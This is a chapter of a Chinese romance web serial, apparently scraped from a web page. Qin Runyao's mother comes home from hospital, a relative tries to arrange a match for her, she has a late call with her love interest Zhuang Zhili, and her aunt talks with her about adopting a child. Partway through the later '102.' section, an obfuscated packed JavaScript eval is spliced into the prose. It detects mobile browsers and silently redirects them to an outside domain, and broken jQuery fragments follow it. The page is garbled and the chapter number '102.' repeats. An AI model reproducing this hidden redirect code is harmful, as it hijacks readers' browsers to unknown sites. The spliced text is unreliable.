101.


    周四上午十点出院,秦润窈开车带着刀口恢复状况不错的崔畅和秦植回家,现代医疗科技已经很发达了,刀口不用开得特别大就能操作手术,崔畅初期得病后的坐卧不宁连带着肿瘤一并干净利落地切走,刚离开医院大门就以眼见的速度变得神清气爽。


    连续不断地开车四个小时回到了西城区,虽说东城西城都是一块地皮上的城市,实际上西城是后面为了扩大市内各类产业囊括进来的,主要的资本大头都聚集在东城区,西城区更加靠近南北贯通的府河,名胜旅游景点差不多就分布在这块,两边的侧重点完全不同。


    由于城市面积不小,秦润窈从西城考到东城郊区的大学和去外省上学没什么区别,回家的机会基本上都堆在了寒暑假,和工作后的见面时长减少,见面次数增加。


    下午五点,家里就陆陆续续来了亲朋好友探望关心崔畅,看到秦润窈忙前忙后端茶倒水,话题自然而然延伸到了她的品德上面。


    例如什么孝顺有心,优秀踏实之类的溢美之词滔滔不绝的往她身上安,起先秦润窈还觉得是例行寒暄,后面越听越不对劲,简直是整个后背都冒起了不适的鸡皮疙瘩,怀疑她们形容的人是臆想出来的五美大好青年,和工作里遇到会谄媚吹捧的人比起来,还是阿姨们略胜一筹。


    秦润窈也不是吃干饭长大的,从她们的夸奖中嗅到了不同寻常的味道,刚站起来找个借口想要躲一躲,其中有个阿姨慢慢悠悠地显露出真实的目的,伸出皱皱巴巴的手抓住她的手腕拉近了,身上陈旧奢靡的香水味扑了她满头满脸,阿姨笑眯眯地弯着眼睛问:“听说小润这几年忙事业,没时间找伴侣是吗?阿姨也不和你说虚的,我这边有个小伙子,omega,个子长相都挺不错的,趁着你这次回来见个面,你觉得怎么样?”


    “不怎么样,这些事情我都有计划的,人和人都是讲究缘分的,我不想见的就说明没什么缘分,见了面也强求不来。”秦润窈想也不想地就拒绝了,阿姨们生活阅历丰富多彩,普普通通的婉言拒绝很大可能会被故意忽略,歪曲到另一种背道而驰的道路上,她毅然决然的堵死了路口,不可能给阿姨们钻漏洞的机会。


    骤然间没遇到过小辈直截了当的拒绝,阿姨面有菜色地看着秦润窈,不出几秒就收拾好笑颜相待了,转头假意羡慕地看着崔畅,“你真是有个好女儿啊,和你是真像,生活条理清晰,说明掌控能力不错,真好啊真好。”


    崔畅笑而不语地点了下头,主动送上门来的相亲局,一半是真心诚意,一半是惺惺作态,妄想用别人后半生的婚姻做人情卖出去,当自己青云直上的垫脚石。


    职场上叱咤风云大半辈子的崔铁娘子也不是谁的脸都要给的,周围几个人挤眉弄眼的交换了个眼神,匆匆忙忙地和崔畅告别,叮嘱她好好养身体就紧随其后都离开了。


    102.


    晚上八点,崔畅的妹妹妹夫闻讯赶来,带了满满当当两大袋补气血的好东西,亲姐妹握着手贴心贴己的说着近半个月的闲话,秦润窈抽空跑到书房开了个关于下一年第一季度的报告会议,包含了山神确定好一月十日正式开启为期七天的启天内测计划。


    这几天秦润窈虽然在休年假,她手头上的全部事务都分摊到了庄知礼和张子番身上,但是具体需要确认是否可行的决策依旧要经过她的手才行——董事会曾经说过为了确保责任与个人挂靠,每个环节都必须有人留下工作痕迹,她作为打工人当然是恪尽职守。


    技术组组长是梁西成,没有网络延迟的屏幕上出现他的脸,秦润窈默不作声地扫视了镜头囊括进来的所有人的脸色,可谓是色彩纷呈,梁西成报告的内容反倒是成了不值一提的背景音,文书表达总归是能修修改改达到滴水不漏,毕竟其中九成东西是前一位呕心沥血留下来的总结,因为身体原因才不得已换到了更为轻松的岗位,如今梁西成上岗享受着不是他的成果,下面觊觎组长位置的人早就恨得咬牙切齿了。


    屏幕的一角是庄知礼骨节分明的手夹着根通体黑色的钢笔,笔帽顶部是仿油漆印的银质花纹,他一下下轻点着文件,分明看不到他的身体和表情,秦润窈却和好多年没见过他一样,贪婪无厌的视线盯着那半只手舔来舔去,心不在焉地开完了整场会议。


    “你这是在哪里?怎么黑乎乎的不开灯?”回到办公室的庄知礼拿着手机困惑地问,他把手机立在花盆旁边,转头去收拾桌上零零散散的纸张,浓雾般重量的视线在秦润窈看不到的角度里扫过她昏暗的脸庞。


    “我在我的卧室,我小姨过来了,在客厅聊天呢。”躲在暗处的秦润窈无所忌惮地把视线黏在他身上,她看着庄知礼的半个身子在镜头里晃来晃去,稍有厚度的衬衫包裹着他薄瘦有型的身躯,仿佛满胸腔思念的岩浆平时无影无踪的蛰伏着,一旦触及到庄知礼的边边角角就开始沸反盈天的冒起泡。


    隔着距离碰不到人,她的双手就抱着手机,指腹反反复复地摩挲着手机边框,像是这个动作能够代偿心痒难耐的冲动,想要把立即亲眼见到他的冲动。


    手机的不远处传来庄知礼打字摁压薄膜键盘的规律声音,“现在已经九点多了,你可以挂掉电话去陪你的家人了。”


    “不着急,这里不还坐着一个呢。”秦润窈目不斜视地紧盯着屏幕一角,“这几天珍珠和乌米怎么样了?有没有想我?”


    另一头沉默了很久,庄知礼打字的频率明显慢下来不少,“……不知道,等你回来就知道了。”


    “那就是不想我呗。”秦润窈痛心疾首地捂着胸口,“养了那么多年,第一次离开这么久都不想我,真是难过啊。”


    紧接着她没等言语寥寥的回话,进一步关心道:“都九点多了,你还不回家?饿着了怎么办?”


    “我又不是小孩子,办公室里有零食。做完手头这点工作就回。”庄知礼衬衫袖子上在臂弯处堆叠出层层叠叠的小小褶皱,左右晃动鼠标时,褶皱犹如片眼花缭乱的万花筒,吸引着屏幕里某人暗流涌动的眼神。


    他听到“哦”的一声后就没再去注意手机屏幕里的画面,聚精会神地隔着蓝光眼镜镜片总和各部门的报告申请,等到十点十五的闹钟响了,他才松开鼠标左右活动了一下僵硬微痛的肩颈,摁下钟表的停止按键,手机话筒忽然发出了秦润窈的声音,“做完了?没做完明天过来再做,再不回家就太迟了。”


    寂静无声的办公室里突然冒出第二个人的声音,庄知礼被吓了一跳,他拿起手机的时候心跳还在加速跳动,“我以为你挂掉电话了,这么长时间也不说话。”


    “吓到你了吧,抱歉。”秦润窈二话不说先态度良好的认错,面带笑容地看着戴眼镜的他,“难得看到你的正脸了——刚刚你在工作,想我说什么?”


    “起码让我知道你在。”庄知礼摘下眼镜,疲惫地捏了几下眉心,秦润窈正想乘胜追击撬出点他的态度,身后的房门被敲了几下,庄知礼适时地说:“你去陪家人吧,我马上开车回家了。”


    “好,到家后给我发消息。”秦润窈走向房门,等着庄知礼先挂掉电话,打开房门看到秦植正抬起手来再次敲门,她透过镂空屏风看了眼客厅沙发上喋喋不已的几道人影,“小姨她们要走了?”


    秦植放下手,“嗯,你去露个脸送一送。”


    102.


    夜空中月明星稀,接近深冬的天气越发天寒地冻,张口就能看到大片大片的白气往外冒,每个人都好像行走的烟囱,悠然无声地从路灯下面飘过。


    “小姨,我还以为你们要住一晚呢,都这么晚了。”秦润窈两只手缩在暖和的袖子里,扭头看向身侧的崔茵,另一头和她紧紧勾着胳膊的是崔茵的omega伴侣。


    崔茵双手插兜,走起路来的姿势和崔畅很像,都是风风火火的大步伐,性格却截然不同,她的性格多愁善感且绵软可欺,眼眶不知道是被寒风吹到发红,还是和崔畅大哭特哭了一场,她的视线定在脚下的路上,露出个意味深长的笑容,“你妹妹还在家里,刚才给我发消息问我们什么时候回去,应该是一个人有点害怕。”


    崔茵和她的伴侣魏先生领养了个omega女儿,因为魏先生有心脏病和其他疾病,具体的秦润窈不清楚,总之他的身体强行怀孕会有死亡的奉献,崔茵自然把人放在第一位,两个人你侬我侬的过够了二人世界,在十年前经过商议决定去福利院领养了个孩子回来抚养,今年十二岁,视如己出地捧在手心里呵护着。


    秦润窈笑着问了句,“妹妹最近怎么样?她一到冬天就容易咳嗽,上次的枇杷膏喜欢喝吗?”


    “喜欢,她每天上学都要带一水壶,说喝了这个就不会咳嗽特别厉害了。”崔茵脚下踢着细细碎碎的小石子,他们家就在一路之隔的小区里,步行半个小时就能到。


    对待亲人,秦润窈向来不求回报的体贴,立刻就说等她回去东城再搬回来一箱子,完全是应有尽有。


    崔茵笑得两眼弯弯,她又问秦润窈的感情生活有什么新的开始,就好似每个人的词库里安装了快捷指令,看到她的脸就自动触发关键词。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516192|151085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    好歹是从小就在身边的亲人,秦润窈想到小姨的现状和她即将要面临的差不多,深思熟虑后长长地呼了口气,白茫茫的水雾飞回去一臂远,半真半假地说:“算是有个开始吧。不过我也在想要是孤单半辈子,干够事业了再去领养孩子,我能不能承担起对一个和我没有血缘关系的人的一生呢?”


    “你算是问对人了。”崔茵抬起头来目视前方,一马平川的道路蔓延到远处灯火通明的小区门口,路边有三两成群的小狗自由自在地跑过,她慢条斯理地说:“起初我和你姨夫也有同样的顾虑,怕给不了孩子需要的物质和精神上的富足。小孩子嘛,就是个幼嫩弱小的花苗,需要有父母掌心里足够的土壤和营养才能茁壮成长。最近几年心理问题的逐步增加,也让我和你姨夫提心吊胆的不行,害怕要是把花苗养死了怎么办?要是真的花苗,可以挖掉重新再栽一盆,小孩则是完全不同,有正常的喜怒哀乐和人类需求,不能不负责任。”


    口罩里闷着湿透了的水汽,秦润窈的眼睫上凝结出冰凉的水珠,她安静无声地听着。


    崔茵:“福利院的孩子大多都缺陪伴和爱,我们就更担心了。后来你姨夫说再犹豫下去也不会有真实的经验,我就鼓起勇气一起去了。我们大概是来来回回跑了三次,和你妹妹见了两次面,相处半个小时左右,第三次就是带你妹妹回来了。一开始的几个月,我都是高度紧张的状态,我们慢慢学习怎么照顾她陪伴她。四个月的时候院长过来回访,她和我们说父母是可以后天养成的,只要有耐心和全心全意接纳孩子的意愿,剩下的感情都能慢慢成长。”


    崔茵的嗓音似是场温暖春风,不轻不重地拨开了块迷雾重重的森林,带来了日光普照的阳光,“比如兄弟姐妹之间反目成仇的例子,足以证明血缘不是判断亲情深浅的唯一标准。不要提前想象不爱孩子会得到什么后果,否则会发现心理上和孩子隔开了道深不见底的隔阂,对相处是有负面影响的。你不是养了宠物吗?养孩子和养宠物是差不多的,不用过分担心和焦虑,你只需要考虑不会半路放弃他,一直会做他的后盾和耐心的妈妈就足够了。”


    抬手擦去眼睫上挂着的冰霜,秦润窈内心豁然开朗了一半,她还是不由自主地忧愁,喜不喜欢庄知礼的问题肯定是毋庸置疑的,她喜欢的不得了,这份喜欢在几天不见的空档里呈几何级不断膨胀,就差把人变成个巴掌大的布娃娃挂在腰带上,到哪里都带着了。


    对庄知礼的孩子会不会同样喜欢,她是真的不确定,责任心和决定为孩子托举,还有坚定不移的避风港是完全能够做到的,她唯一担心的就是爱,要是给不了爱呢?或者孩子不喜欢她呢?


    把崔茵夫妻二人送到小区里面,秦润窈回到家里洗澡睡觉,躺在床上烙煎饼似的躺不了几分钟就要换个面,脑子已经困得先行关机,眼皮却还苦苦支撑着不闭眼。


    枕头旁边的手机屏幕亮了一下,她探长胳膊拿过来手机,发现是庄知礼给她发的消息。


    「庄总:抱歉,我回来吃完饭就不知不觉睡着了,现在才给你发消息。」


    秦润窈的心一软,回复道——


    「run:没事,你还记得给我发消息就好。」


    「庄总:已经快十二点了,你还不睡?」


    「run:睡不着。」


    「庄总:和我说说?」


    黑暗里,秦润窈翻了个身侧睡着,过了几秒钟庄知礼又发过来消息。


    「庄总:不愿意说也可以不说。」


    「run:没什么,就是在想以后你的孩子会不会喜欢我。」


    问题一出,聊天框里沉默了好一会儿,秦润窈刚刚打字到一半,顶出了新消息。


    「庄总:我也不知道我的孩子会不会喜欢我。」


    「庄总:我怕给不了她想要的父爱和生活。」


    隔着屏幕和链接两端的网线,两个人担心苦恼的事情竟然殊途同归了,秦润窈不想给庄知礼更多的焦虑,连忙转换话头当起了临时舒心解压员,把崔茵说的那一套内化后重新组织出了语言安慰开解他。


    不到十五分钟,另一边没了回应,约莫是又睡着了,秦润窈认认真真地说了一堆话,不知道有没有让庄知礼宽心点,她是自我感觉疏通了不少,既然决定非庄知礼不可,那就爱屋及乌到底,当成自己的孩子去照顾关心,其余的顺其自然吧,无论是感情耐心的消磨程度,还是亲情的增长和逆跌。


    她等了几分钟依旧没有回复,顿时就有些扛不住困意,放下手机裹紧被子也睡着了。